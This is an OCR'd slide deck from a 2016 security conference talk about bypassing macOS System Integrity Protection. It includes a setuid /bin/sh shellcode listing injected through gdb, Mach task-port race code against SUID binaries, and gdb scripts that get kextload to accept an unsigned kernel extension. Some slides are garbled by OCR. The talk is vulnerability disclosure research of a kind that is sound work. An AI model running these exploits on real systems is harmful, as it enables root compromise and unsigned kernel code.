# Memory corruption is for wussies!


#### fG! @ SyScan360 SG 2016

#### who am !?

- Still a whitehat
- And trolling HackingTeam ③











- Zero days massacre!!!!
- System Integrity Protection.
- Quick introduction to Mach messaging.
- Quick tour about execve and friends.
- Supersonic OS X exploitation.





- Introduced in El Capitan.
- Reduces the power of root user.
- A system wide sandbox.
- Based on MACF/TrustedBSD.



- Uses code signing and entitlements to manage authorizations.
- Certain (too many!) binaries authorized.
- J. Levin entitlements database
  - http://newosxbook.com/ent.jl



#### YOU GET AN ENHAUENENN

#### EVERYBODY GETS

ENHNYEVIENNSI



#### • A SIP updates entitlement.

```
2.bash
mac1dmz:~ reverser$ codesign -d --entitlements - \
> /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove
Executable=/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove
@q@?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

close
clos
```



### Sounds septous stuff!



#### Can't debug protected processes.

Last login: Wed Feb 3 17:41:22 on ttys000 mac1dmz:~ reverser\$ lldb kextload (lldb) target create "kextload" Current executable set to 'kextload' (x86\_64). (lldb) r error: process exited with status -1 (cannot attach to process due to System Integrity Protection) (lldb) []

2. Ildb





#### Can't attach to protected processes.

2. Ildb

mac1dmz:~ reverser\$ lldb
(lldb) attach 918
error: attach failed: cannot attach to process due to System Integrity Protection
(lldb) []





#### Can't modify/delete/update protected files.

reverser - sh - 80×24
reversers-Mac:~ reverser\$ sudo sh
sh-3.2# touch /System/syscan2016
touch: /System/syscan2016: Operation not permitted
sh-3.2#
sh-3.2# csrutil status
System Integrity Protection status: enabled.
sh-3.2#
sh-3.2#





## It magically profests your system!

## DUPWARAMINUE yall thought I was finish memecrunch!com



#### 2. gdb-i386-apple-d

mac1dmz:~ reverser\$ ./gdb-i386-apple-darwin kextload GNU gdb 6.3.50-20050815 (Apple version gdb-1824 + reverse.put.as patches v0.4) (Sat Jan 4 20:24:02 UTC 2014) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "x86\_64-apple-darwin"...Reading symbols for shared libraries ..... done gdb\$ b \*0x000000100001a58


gdb\$ b \*0x0000000000000000001358 Breakpoint 1 at 0x100001a58 gdb\$ []



#### • GDB can bypass protected processes.

				2. gdb-i3	86-apple-d		
Breakpoint 1,	0x0000000100	001a58 i	in _mh_execute_hea	der ()			teres 1
RDI: 0x0000 R8 : 0x0000 R13: 0x0000	000100001A58 000000000001 0000000000000 0000000000	RSI: Ox R9 : Ox R14: Ox	<pre>&lt;00000000000000000 &lt;00007FF55FBFFC18 &lt;00007FF768180C8 &lt;00000000000000000000000 5: 0000 GS: 0000</pre>		FFF5FBFFC28 DOOFFFFFFFF	RSP: 0x00007FFF5FBFFBF8 RCX: 0x00007FFF5FBFFCE0 R11: 0xFFFFFFF00000000	RIP: 0x0000000000001A58 R12: 0x000000000000000000
0x100001a58: 0x100001a59: 0x100001a5c: 0x100001a5e: 0x100001a5f: 0x100001a63: 0x100001a66: 0x100001a69:	55 48 89 e5 41 56 53 48 83 ec 30 48 89 f3 41 89 fe 48 8b 3b		mov push push sub mov mov	rbx rsp,0x30 rbx,rsi	[kextload] [kextload] [kextload] [kextload] [kextload] [kextload] [kextload] [rbx]	[kextload]	[code]
gdb\$ []							





2. gdb-i386-apple-d

#### Although it can't attach.

mac1dmz:~ reverser\$ ./gdb-i386-apple-darwin GNU gdb 6.3.50-20050815 (Apple version gdb-1824 + reverse.put.as patches v0.4) (Sat Jan 4 20:24:02 UTC 2014) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "x86\_64-apple-darwin". gdb\$ attach 918 Unable to access task for process-id 918: (os/kern) failure. gdb\$ ∏




#### SYSTEM INTEGRITY PROTECTION

Yet we can still use our debugger on them quite easily\* :)

pid\_t bypass\_sip(char \*command, char \*args[]) {
 execv(command, args); // run the command

\*Wont work on LLDB :p

- Oday (accidently?) disclosed at SHMOOCON 2016 by Tyler Bohan and Brandon Edwards.
- I liked this one a lot  $\otimes$ .





2. sh

sh-3.2# touch /System/aaa
touch: /System/aaa: Operation not permitted
sh-3.2# csrutil status
System Integrity Protection status: enabled.
sh-3.2# []



2. gdb-i386-apple-d

sh-3.2# ./gdb-i386-apple-darwin /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system\_shove GNU gdb 6.3.50-20050815 (Apple version gdb-1824 + reverse.put.as patches v0.4) (Sat Jan 4 20:24:02 UTC 2014) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "x86\_64-apple-darwin"...Reading symbols for shared libraries ..... done

gdb\$ b \*0x0000000100000ff4
Breakpoint 1 at 0x100000ff4
gdb\$ []



2. gdb-i386-apple-d

rk.build/Objects-normal/x86\_64/MTLCommandBuffer.o" - no debug information available for "MTLCommandBuffer.m".

..... done

warning: Could not find object file "/Library/Caches/com.apple.xbs/Binaries/Metal/Metal-55.2.8~22/TempContent/Objects/Metal.build/Framewo rk.build/Objects-normal/x86\_64/MTLVertexDescriptor.o" - no debug information available for "MTLVertexDescriptor.mm".

warning: Could not find object file "/Library/Caches/com.apple.xbs/Binaries/Metal/Metal-55.2.8~22/TempContent/Objects/Metal.build/Framewo rk.build/Objects-normal/x86\_64/MTLCommandQueue.o" - no debug information available for "MTLCommandQueue.m".

Breakpoint 1, 0x000000100000ff4 in \_mh\_execute\_header () ) -----[regs] RBP: 0x00007FFF5FBFFC10 RSP: 0x00007FFF5FBFFC08 od ItsZaPc RDX: 0x00007FF55BFFC30 RCX: 0x00007FF55BFFCE0 RIP: 0x0000000100000FF4 RDI: 0x00000000000001 RSI: 0x00007FFF5FBFFC20 R8 : 0x00000000000000 R9 : 0x00007FFF768180C8 R15: 0x0000000000000000 CS: 002B DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 0000 -----[code] [system shove] 0x100000ff4: 55 push rbp 0x100000ff5: 48 89 e5 system shove rbp,rsp mov 0x100000ff8: 41 57 push r15 system shove 0x100000ffa: 41 56 system shove push r14 0x100000ffc: 41 55 push r13 system shove 0x100000ffe: 41 54 [system shove push r12 [system shove 0x100001000: 53 push rbx [system shove] 0x100001001: 48 81 ec e8 00 00 00 sub rsp, 0xe8

gdb\$



; File: setuid_shell_x86_64.asm			
; Author: Dustin Schultz - TheXploit.com			
BITS 64			
section .text			
global start			
start:			
a:			
mov r8b, 0x02	, Unix class system calls = 2		
shi r8, 24	, shift left 24 to the upper order bits		
or r8, 0x17	; setuld = 23, or with class = 0x2000017		
xor edi, edi	zero out edi		
mov rax, r8	, syscall number in rax		
syscall	; invoke kernel		
jmp short c	; Jump to c		
b;			
pop rdi	; pop ret addr which = addr of /bin/sh		
add r8, 0x24	; execve = 59, 0x24+r8=0x200003b		
mov rax, r8	, syscall number in rax		
xor rdx, rdx	; zero out rdx		
push rdx	; null terminate rdi, pushed backwards		
push rdi	, push rdi = pointer to /bin/sh		
mov rsi, rsp	; pointer to null terminated /bin/sh string		
syscall	; Invoke the kernel		
C:			
call b	, call b, push ret of /bln/sh		
db '/bin//sh'	; /bln/sh string		



000		2. gdb-i386-apple-d	
RDI:         0x00000000000000         RSI:         0x00007FFF           R8 :         0x0000000000000         R9 :         0x00007FFF           R13:         0x00000000000000         R14:         0x00000000           CS:         002B         DS:         0000         ES:         0000	768180C8 R10: 0x0 000000000 R15: 0x0	0007FFF5FBFFC30 RCX: 0x00007FFF5FBF 0000000FFFFFFFF R11: 0xFFFFFFFF0000 0000000000000000	00000 R12: 0x0000000000000000
<pre>0x100000ff4: 55 0x100000ff5: 48 89 e5 0x100000ff8: 41 57 0x100000ffa: 41 56 0x100000ffc: 41 55 0x100000ffe: 41 54 0x100001000: 53 0x100001001: 48 81 ec e8 00 00 00 gdb\$ set *(int*)\$pc=0x4902b041 gdb\$ set *(int*)(\$pc+0x4)=0x4918e0c1 gdb\$ set *(int*)(\$pc+0x4)=0x4918e0c1 gdb\$ set *(int*)(\$pc+0x8)=0x3117c883 gdb\$ set *(int*)(\$pc+0x10)=0x12eb050f gdb\$ set *(int*)(\$pc+0x10)=0x12eb050f gdb\$ set *(int*)(\$pc+0x14)=0xc083495f gdb\$ set *(int*)(\$pc+0x14)=0xc083495f gdb\$ set *(int*)(\$pc+0x12)=0x52d23148 gdb\$ set *(int*)(\$pc+0x20)=0xe6894857 gdb\$ set *(int*)(\$pc+0x24)=0xe9e8050f gdb\$ set *(int*)(\$pc+0x24)=0xe9e8050f gdb\$ set *(int*)(\$pc+0x28)=0x2fffffff gdb\$ set *(int*)(\$pc+0x26)=0x2f6e6962 gdb\$ set *(int*)(\$pc+0x30)=0x0068732f gdb\$ []</pre>	push rbp mov rbp,rsp push r15 push r14 push r13 push r12 push rbx sub rsp,0xe8	[system_shove] [system_shove] [system_shove] [system_shove] [system_shove] [system_shove] [system_shove]	[code]



	2. gdb-i386-apple-d	
<pre>gdb\$ set *(int*)(\$pc+0x18)=0xc0894c24 gdb\$ set *(int*)(\$pc+0x1c)=0x52d23148 gdb\$ set *(int*)(\$pc+0x20)=0xe6894857 gdb\$ set *(int*)(\$pc+0x24)=0xe9e8050f gdb\$ set *(int*)(\$pc+0x28)=0x2fffffff gdb\$ set *(int*)(\$pc+0x2c)=0x2f6e6962 gdb\$ set *(int*)(\$pc+0x30)=0x0068732f gdb\$ c</pre>		
rogram received signal SIGTRAP, Trace/breakpoint t x00007fff5fc01000 indylddyld_start ()	rap.	[regs]
RAX:         0x000000000000000         RBX:         0x000000000000000           RDI:         0x00000000000000         RSI:         0x00000000000000           R8:         0x00000000000000         R9:         0x00000000000000000000000000000000000	R10: 0x0000000000000 R11: 0x0000000000000000000000000000000000	od Itszapc RIP: 0x00007FFF5FC01000 R12: 0x00000000000000000
Dx7fff5fc01000 (0xfffffffd4fa8000): 5f Dx7fff5fc01001 (0xfffffffd4fa8001): 6a 00 Dx7fff5fc01003 (0xffffffffd4fa8003): 48 89 e5 Dx7fff5fc01006 (0xffffffffd4fa8006): 48 83 e4 f0 Dx7fff5fc0100a (0xffffffffd4fa800a): 48 83 ec 10	pop rdi push 0x0 mov rbp,rsp and rsp,0xffffffffffffffff sub rsp,0x10	[code]

gdb\$



2. sh

#### gdb\$ c

sh-3.2# csrutil status

sh-3.2# ∏

System Integrity Protection status: enabled.

Program received signal SIGTRAP, Trace/breakpoint trap. 0x00007fff5fc01000 in dyld dyld start ()

	[regs]
RAX:       0x00000000000000000000000000000000000	00000000         RSP:         0x00007FFF5FBFF18         oditsize         oditsize
0x7fff5fc01000 (0xfffffffd4fa8000): 5f 0x7fff5fc01001 (0xfffffffd4fa8001): 6a 00 0x7fff5fc01003 (0xfffffffd4fa8003): 48 89 e5 0x7fff5fc01006 (0xfffffffd4fa8006): 48 83 e4 f0 0x7fff5fc0100a (0xffffffffd4fa800a): 48 83 ec 10 0x7fff5fc0100e (0xffffffffd4fa800e): 8b 75 08 0x7fff5fc01011 (0xffffffffd4fa8011): 48 8d 55 10 0x7fff5fc01015 (0xfffffffd4fa8015): 4c 8b 05 bc 8a 03 00	<pre>pop rdi push 0x0 mov rbp,rsp and rsp,0xffffffffffff sub rsp,0x10 mov esi,DWORD PTR [rbp+0x8] lea rdx,[rbp+0x10] mov r8,QWORD PTR [rip+0x38abc] # 0x7fff5fc39ad8</pre>
<pre>gdb\$ c Reading symbols for shared libraries . done sh-3.2# touch /System/aaa sh-3.2# ls -la /System/aaa -rw-rr 1 root wheel 0 Feb 3 18:25 /System/aaa</pre>	







- A bug in an entitled binary and it's over.
- Library injection bugs.
- Library/framework linking bugs.
- Kernel bugs disabling the hooks.
- Oh...Dumb developers...



## Dockmod

#### sexy dock customization



DOWNLOAD



#### Dumb developers...

- Signed kernel extension.
- That you can abuse to load arbitrary library.
- Ooops 🙂.
- Obstacles: \$99 and a bullshit excuse.
- Apple revoked this cert.



- With gdb you can own the whole system.
- Assuming you have a LPE (but SIP is about root operations anyway).
- Will gdb fall under Wassenaar control?
   </troll>




## What's Nach maie?

#### Introduction to Mach

- Mach is the core of OS X XNU kernel.
- Microkernel with BSD layer on top of it.
- Everything implemented as objects.
  - Tasks, threads, virtual memory.
- Object communication via messages.




### OS X Architecture





### OS X Architecture






- Two types of Mach messages:
  - Simple.
  - Complex.




- Simple messages
  - Fixed header.
  - Data blob.





- Complex messages
  - Fixed header.
  - Descriptor count.
  - Serialized descriptors.
  - Out-of-line data and port rights.







- Three interesting Mach ports
  - Task.
  - Thread.
  - Host.



- The kernel is itself represented by a task and has a task port.
- If we have a port right we can control the kernel.
- Example: processor\_set\_tasks vulnerability from SyScan 2015.



- Retrieving the task port from another task requires special privileges.
- Under normal circumstances ③.

another pro	apple-darwin needs to take control of ocess for debugging to continue. Typ word to allow this.
Username:	reverser
Password:	[



- A task doesn't need special privileges to retrieve its own port.
- mach\_port\_t mach\_task\_self(void).



 Ports and rights can be passed between tasks.

### • This is very powerful.

#### **Passing Ports Between Tasks**

Ports and rights may be passed from one entity to another. Indeed, it is not uncommon to see complex Mach messages containing ports delivered from one task to another. This is a very powerful feature in IPC design, somewhat akin to mainstream UNIX's domain sockets, which allow the passing of file descriptors between processes.



- This allows another task to have full control.
- Without using the normal APIs for this.
- Doesn't happen under normal situations.
  - "Hey bad guy, please take my task port!".



- Can be used for malware purposes.
- Fool the reverse engineer.
- By having code executed in the second process.
- Via an exception for example.



# How to send Mach Messages

• Define the messages format.

typedef struct { mach msg header t header; mach msg body t body; mach msg port descriptor t data; } msg format send t; typedef struct { mach msg header t header; mach msg body t body; mach msg port descriptor t data; mach msg mac trailer t trailer; msg format recv t;



Register the server.

#### #define SERVICE\_NAME "com.put.as.mach\_race"

kern\_return\_t kr; msg\_format\_recv\_t recv\_msg; msg\_format\_send\_t send\_msg; mach\_msg\_header\_t \*recv\_hdr, \*send\_hdr; mach\_port\_t server\_port;

#### /\* register the server with launchd \*

kr = mach\_port\_allocate(mach\_task\_self(), MACH\_PORT\_RIGHT\_RECEIVE, &server\_port); EXIT\_ON\_MACH\_ERROR("mach\_port\_allocate", kr, KERN\_SUCCESS); kr = mach\_port\_insert\_right(mach\_task\_self(), server\_port, server\_port, MACH\_MSG\_TYPE\_MAKE\_SEND); EXIT\_ON\_MACH\_ERROR("mach\_port\_insert\_right", kr, KERN\_SUCCESS); DEBUG\_MSG("Registering with bootstrap server..."); kr = bootstrap\_register2(bootstrap\_port, SERVICE\_NAME, server\_port, 0); EXIT\_ON\_MACH\_ERROR("bootstrap\_register2", kr, KERN\_SUCCESS);



- Loop and wait for messages.
- Set options that we are expecting to receive

a message.

mach\_msg() blocks.



```
* server loop
```

\* this works by waiting for messages, extracting the client task port \* and try immediately to overwrite the client entrypoint with our shellcode \*/

#### for (;;)

```
mach_msg_option_t msg_options = MACH_RCV_MSG | MACH_RCV_LARGE;
// receive message
recv_hdr = &(recv_msg.header);
recv_hdr->msgh_local_port = server_port;
recv_hdr->msgh_size = sizeof(recv_msg);
kr = mach_msg(recv_hdr, // message buffer
msg_options, // option indicating receive
0, // send size
recv_hdr->msgh_size, // size of header + body
server_port, // receive name
MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever
MACH_PORT_NULL); // no notification port
EXIT_ON_MACH_ERROR("mach_msg(recv)", kr, MACH_MSG_SUCCESS);
```



- First lookup the server via launchd.
- Allocate a port to receive messages.

```
kern_return_t kr;
msg_format_recv_t recv_msg;
msg_format_send_t send_msg;
mach_msg_header_t *recv_hdr, *send_hdr;
mach_port_t client_port, server_port;
DEBUG_MSG("Looking up server...");
kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &server_port);
EXIT_ON_MACH_ERROR("bootstrap_look_up", kr, BOOTSTRAP_SUCCESS);
kr = mach_port_allocate(mach_task_self(), // our task is acquiring
MACH_PORT_RIGHT_RECEIVE, // a new receive right
&client_port); // with this name
EXIT_ON_MACH_ERROR("mach_port_allocate", kr, KERN_SUCCESS);
```



- Prepare the message to send.
- Configure it as complex.

#### // prepare request

```
send hdr
send hdr->msgh bits
```

```
send hdr->msgh bits
send hdr->msgh size
send hdr->msgh_remote_port = server_port;
send_hdr->msgh_local_port
send hdr->msgh reserved
send hdr->msgh id
```

- = &(send msg.header);
- = MACH MSGH BITS(MACH MSG TYPE COPY SEND, \ MACH MSG TYPE MAKE SEND);
- = MACH\_MSGH\_BITS\_COMPLEX;
- = sizeof(send msg);
- = client port;
- = 0;
- = DEFAULT MSG ID;



- Add client port to the message.
- More than one part can be sent on a msg.

/\* send our mach\_task\_self port to the server \*/
send\_msg.body.msgh\_descriptor\_count = 1;
send\_msg.data.name = mach\_task\_self();
send\_msg.data.disposition = MACH\_MSG\_TYPE\_COPY\_SEND;
send\_msg.data.type = MACH\_MSG\_PORT\_DESCRIPTOR;



### • And finally send the message.

```
mach_msg_option_t msg_options = MACH_SEND_MSG;
DEBUG MSG("Sending message to server...");
// send request
kr = mach_msg(send_hdr, // message buffer
msg_options, // option indicating send
              send_hdr->msgh_size, // size of header + body
                                   // receive limit
              0,
              MACH PORT NULL, // receive name
              MACH MSG TIMEOUT NONE, // no timeout, wait forever
              MACH PORT NULL); // no notification port
EXIT ON MACH ERROR("mach msg(send)", kr, MACH MSG SUCCESS);
DEBUG MSG("Waiting for server reply...");
```

- The server receives the message.
- Extracts the port right.
- Can send a reply to signal it is ready.



/\* extract the port from the message \*/ clientTaskPort = recv msg.data.name;

```
* send a reply to the client, this will signal we are ready
* and client can finally exec the suid binary
```

```
send hdr
send hdr->msgh bits
send hdr->msgh size
send_hdr->msgh_local_port = MACH PORT NULL;
send hdr->msgh id
```

```
= &(send_msg.header);
```

```
= MACH MSGH BITS LOCAL(recv hdr->msgh bits);
```

- = sizeof(send\_msg);
- send hdr->msgh remote port = recv hdr->msgh remote port;

```
= recv hdr->msgh id;
```

```
// send message
kr = mach msg(send hdr,
                            // message buffer
            MACH SEND MSG, // option indicating send
            send hdr->msgh size, // size of header + body
                               // receive limit
            0,
            MACH PORT NULL, // receive name
            MACH MSG TIMEOUT_NONE, // no timeout, wait forever
            MACH PORT NULL); // no notification port
EXIT ON MACH ERROR("mach msg(send)", kr, MACH MSG SUCCESS);
```


- At this point we can send messages between a server and a client.
- And transmit the task port of the client to the server.



- My original goal was to take control and exploit SUID binaries.
- Same technique will also work for any entitled binary.









```
/*
   Load the Mach-O file.
*
*
* NOTE: An error after this point indicates we have potentially
* destroyed or overwritten some process state while attempting an
* execve() following a vfork(), which is an unrecoverable condition.
* We send the new process an immediate SIGKILL to avoid it executing
* any instructions in the mutated address space. For true spawns,
* this is not the case, and "too late" is still not too late to
* return an error code to the parent process.
*/
/*
* Actually load the image file we previously decided to load.
*/
lret = load_machfile(imgp, mach_header, thread, map, &load_result);
if (lret != LOAD SUCCESS) {
    error = load return to errno(lret);
   goto badtoolate;
}
```



- load\_machfile() will read and map the contents of the binary to execute.
- Most of the Mach-O dirty work done inside parse\_machfile().



- <u>Remember</u>: control the task port, control the process.
- An "obvious" bug patched in Panther.



### • Setuid bug patched in 10.3 release.

```
1*
 * Have mach reset the task port. We don't want
 * anyone who had the task port before a setuid
 * exec to be able to access/control the task
 * after.
 */
ipc task reset(task);
set security token(p);
p->p flag |= P SUGID;
/* Radar 2261856; setuid security hole fix */
/* Patch from OpenBSD: A. Ramesh */
/*
 * XXX For setuid processes, attempt to ensure that
 * stdin, stdout, and stderr are already allocated.
 * We do not want userland to accidentally allocate
 * descriptors in this range which has implied meaning
 * to libc.
 */
```



• More recent code to reset the ports.

```
if (mac_reset_ipc || !leave_sugid_clear) {
    /*
    * Have mach reset the task and thread ports.
    * We don't want anyone who had the ports before
    * a setuid exec to be able to access/control the
    * task/thread after.
    */
    ipc_task_reset(p->task);
    ipc_thread_reset((imgp->ip_new_thread != NULL)?
        imgp->ip_new_thread : current_thread());
}
```




### TL:DR


- Kernel will load, parse, and map the executable.
- It will try to guarantee integrity of new process versus its parent.














- Ports are only reset after the new file is mapped.
- Assume the that task port was passed to another process.
- If we win the race we can write anything into the new mapping.



- The trick is how to get the task port of another task.
- task\_for\_pid() requires privileges and/or annoying prompt.




- We can have a "client" task to pass the port to a "server" task.
- Then execve() the SUID and/or entitled binary.
- The server will try to win the race.



# Putting everything together





- We can write data into the new process.
- Shellcode into the entrypoint or some

constructor.

• When we win the race it's game over.





- But we have a problem called ASLR.
- Against non ASLR binaries it's deadly.
  - And 32 bits binaries.
- With ASLR we don't know where the binary is.



- Trimo gave me some data about ASLR slide behavior in OS X.
- So just brute force with a selected value.
- Zero works as good as any other value.



- This means the exploit will be super noisy.
- Had test cases of up to 10k to 20k

executions.

• Great vulnerability, poor execution.



## Not impressed!

## gangou do better?

- We need a known address.
- The linker, dyld, is also under ASLR.
- Different offset than main binary.
- What's left?



- The library cache, dyld\_cache.
- Randomized on each reboot.
- Otherwise always at the same address for

any process.



- Since it's CoW we can safely modify it.
- We just need to modify a function used by

the target binary.





	push	rbp
	mov	rbp, rsp
	push	
	push	
	push	r13
	push	r12
	push	rbx
	sub	rsp, 188h
	mov	ri2, rsi
	mov	[rbp+var_150], edi
	mov	Tax, cs:stack_chk_guard_ptr
		rax, rax
	mov	[rbp+var_30], rax
	movaps	Xmm0, Cs:xmmword_100005700
	movaps	xmm0, cs:xmmword_100005700 xmmword ptr [rbp+var_40], xmm0
	mov	[rbp+var_140], 0
	lea	
	lea	ISI, MODE UD1X2001
	call	_compat_mode
/	movzx	
	lea	
	xor	edi, edi ; int
	call	_setlocale
	lea	rdi, qword_100008468 ; time_t *
	call	time
	lea	rdi, aColumns "DOLLENS"
	call	_getenv
	test	Tax, Tax
	jz	short loc_10000311A
	cmp	byte ptr [rax], 0 short loc_10000311A
		short loc_10000311A
	mov	rdi, rax ; char *
	call	atol
	jmp	short loc_10000317B



- ps is a SUID binary and calls compat\_mode()
   very early in main().
- The server can find the dyld cache and this function address.
- We just need to do this once.



- This will improve significantly our chances.
- And drastically reduce the exploit noise.
- Usually one to five attempts maximum.



- 100% reliable.
- 100% safe.
- Every single OS X version vulnerable.
- Abuse any SUID binary.
- Abuse any entitled binary.





### Guiel Bui.

## Can you load unsigned kepnel code?

```
2. gdb
gdb$ bpl
                  Disp Enb Address
Num Type
                                               What
    breakpoint
                   keep y 0x000000100000ad4 < mh execute header+2772>
1
        breakpoint already hit 2 times
        set $rax=1
        ret
        C
2
   breakpoint
                   keep y 0x0000001000027a6 < mh execute header+10150>
        breakpoint already hit 1 time
        set $pc=0x1000027E6
        C
    breakpoint
                   keep y
                         0x000000100001a58 < mh execute header+6744>
3
        breakpoint already hit 1 time
        set *(char*)0x10000365E=0x31
        C
gdb$
```





	2. gdb			
Breakpoint 1, 0x0000000100000ad4 in _mh_execute_header () [regs]				
RDI:0x000000100012600RSI:0x00000000000000RDX:R8:0x00000000000000R9:0x000000000000R10:	0x00007FFF5FBFEF10         RSP:         0x00007FF55FBFEEC8         oditsize         oditsize         oditsize         oditsize         oditsize         c           0x00000000001450         RCX:         0x000000000FC080         RIP:         0x00000000000000000000000000000000000			
0x10000ad4:55pushrbp0x10000ad5:4889e5movrbp,rs0x10000ad8:53pushrbx0x10000ad9:50pushrax0x10000ada:bf 010000movedi,0x0x10000ad6:e864250000call0x10000x10000ae4:b301movbl,0x10x100000x10000ae6:85cotesteax,ea	[kextload] p [kextload] [kextload] [kextload] 1 [kextload] 03048 [kextload] [kextload]			
<pre>kext signature failure override allowing invalid signatur /Xcode/DerivedData/Build/Products/Debug/bypass_codesig_ke Program exited normally. RAX:Error while running hook stop:</pre>	e -67062 0xFFFFFFFFFFFFFFFFA0A for kext "/Users/reverser/Library/Developer xt.kext" [regs]			

No registers. gdb\$ □



3. tail Feb 11 21:52:52 mac3dmz kernel[0]: Hello SyScan360 Singapore, I'm an unsigned kext :-)





- Using these vulnerabilities we can easily load unsigned kernel extensions.
- Attack kextload instead of kextd daemon.



- Remove communication with kextd
  - Modify the reverse dns name.
  - Or patch the place where it happens.
- kextload will now talk directly to the kernel.
- And still check code signatures in user land.



ExitStatus checkAccess(void)

...

```
ł
                                = EX OK;
    ExitStatus result
#if !TARGET OS EMBEDDED
    kern return t kern result = kOSReturnError;
    mach port t kextd port = MACH PORT NULL;
    kern result = bootstrap look up(bootstrap port,
        (char *)KEXTD SERVER NAME, &kextd port);
    if (kern result == kOSReturnSuccess) {
        sKextdActive = TRUE;
    } else {
       if (geteuid() == 0) {
           OSKextLog(/* kext */ NULL,
               kOSKextLogBasicLevel kOSKextLogGeneralFlag
               kOSKextLogLoadFlag | kOSKextLogIPCFlag,
               "Can't contact kextd; attempting to load directly into kernel.");
        } else {
           OSKextLog(/* kext */ NULL,
               kOSKextLogErrorLevel kOSKextLogGeneralFlag
               kOSKextLogLoadFlag | kOSKextLogIPCFlag,
               "Can't contact kextd; must run as root to load kexts.");
           result = EX NOPERM;
           goto finish;
        }
#else
```

#### Boolean isInvalidSignatureAllowed(void)



```
ExitStatus loadKextsIntoKernel(KextloadArgs * toolArgs)
(...)
            OSStatus sigResult = checkKextSignature(theKext, true, earlyBoot);
            if ( sigResult != 0 ) {
                if ( isInvalidSignatureAllowed() ) {
                    OSKextLogCFString(NULL,
                                       kOSKextLogErrorLevel | kOSKextLogLoadFlag,
                                       CFSTR("kext-dev-mode allowing invalid signature %1d 0x%021X for kext '%s'"),
                                       (long)sigResult, (long)sigResult,
                                       scratchCString);
                else {
                    OSKextLogCFString(NULL,
                                       kOSKextLogErrorLevel
                                       kOSKextLogLoadFlag | kOSKextLogIPCFlag,
                                       CFSTR("ERROR: invalid signature for '%s', will not load"),
                                       scratchCString);
                    result = sigResult;
                    goto finish;
            }
(\dots)
```



```
Adam Mariš 2016-01-20 05:25:59 EST
                                                                           Description
An issue with ASN1.1 DER decoder was reported that a specially created key file
could lead to a local denial of service (kernel panic) via x509 certificate DER
files.
This is caused by triggering a BUG ON() in public key verify signature() in
crypto/asymmetric keys/public key.c which causes a kernel panic and system lockup
on RHEL kernels.
Vulnerable code:
. . .
int public key verify signature(const struct public key *pk,
                                const struct public key signature *sig)
{
        const struct public key algorithm *algo;
        BUG ON(!pk);
        BUG ON(!pk->mpi[0]);
. . .
Additional references:
http://seclists.org/oss-sec/2016/q1/197
Introduced in commit:
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?
id=42d5ec27f873c654a68f7f865dcd7737513e9508
Fixed in commit:
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?
id=0d62e9dd6da45bbf0f33a8617afc5fe774c8f45f
```



- Cost/benefit.
- I still strongly believe you can't load ring zero code with ring three checks.
- Doesn't make any sense otherwise.



- Can't we really build a reasonably secure
   x509 code signing feature into our kernels?
- If not what are we really doing in this industry?









- Bypass SIP this or some other way.
- Install APT on protected folder.
- Restore SIP.
- Enjoy free SIP "protection racket".








- Requires user intervention to disable SIP
  - Recovery mode, cmd line... GTFO!
- Special Apple entitled shell/app?
  - FBI: Can I haz it? Pleaze?
- AVs to bypass/disable SIP?
  - "AV tends to be a different kind of rootkit".









### Conclusions

- Designing security systems is hard.
- Move to defense and give it a try.
- Secrecy doesn't buy you much.
- Release white paper with design goals, so we can understand you!



#### Conclusions


- I don't need to tell you this right?
- Logic and race conditions are great vulnerabilities.
- They can live for many many years.
- Ian Beer is having a lot of fun lately with these.



- The bugs are being patched.
- Patches should be out already or soon
  - enough!




## REVER FORGET DAVES







 SyScan360 team, Thomas, Grace, Jacob Torrey, Trimo, Apple Product Security Team and a few other guys there, and all the meme "characters".







https://reverse.put.as https://github.com/gdbinit reverser@put.as @OSXreverser #osxre @ irc.freenode.net PGP key https://reverse.put.as/wp-content/uploads/2008/06/publickey.txt PGP Fingerprint 7B05 44D1 A1D5 3078 7F4C E745 9BB7 2A44 ED41 BF05



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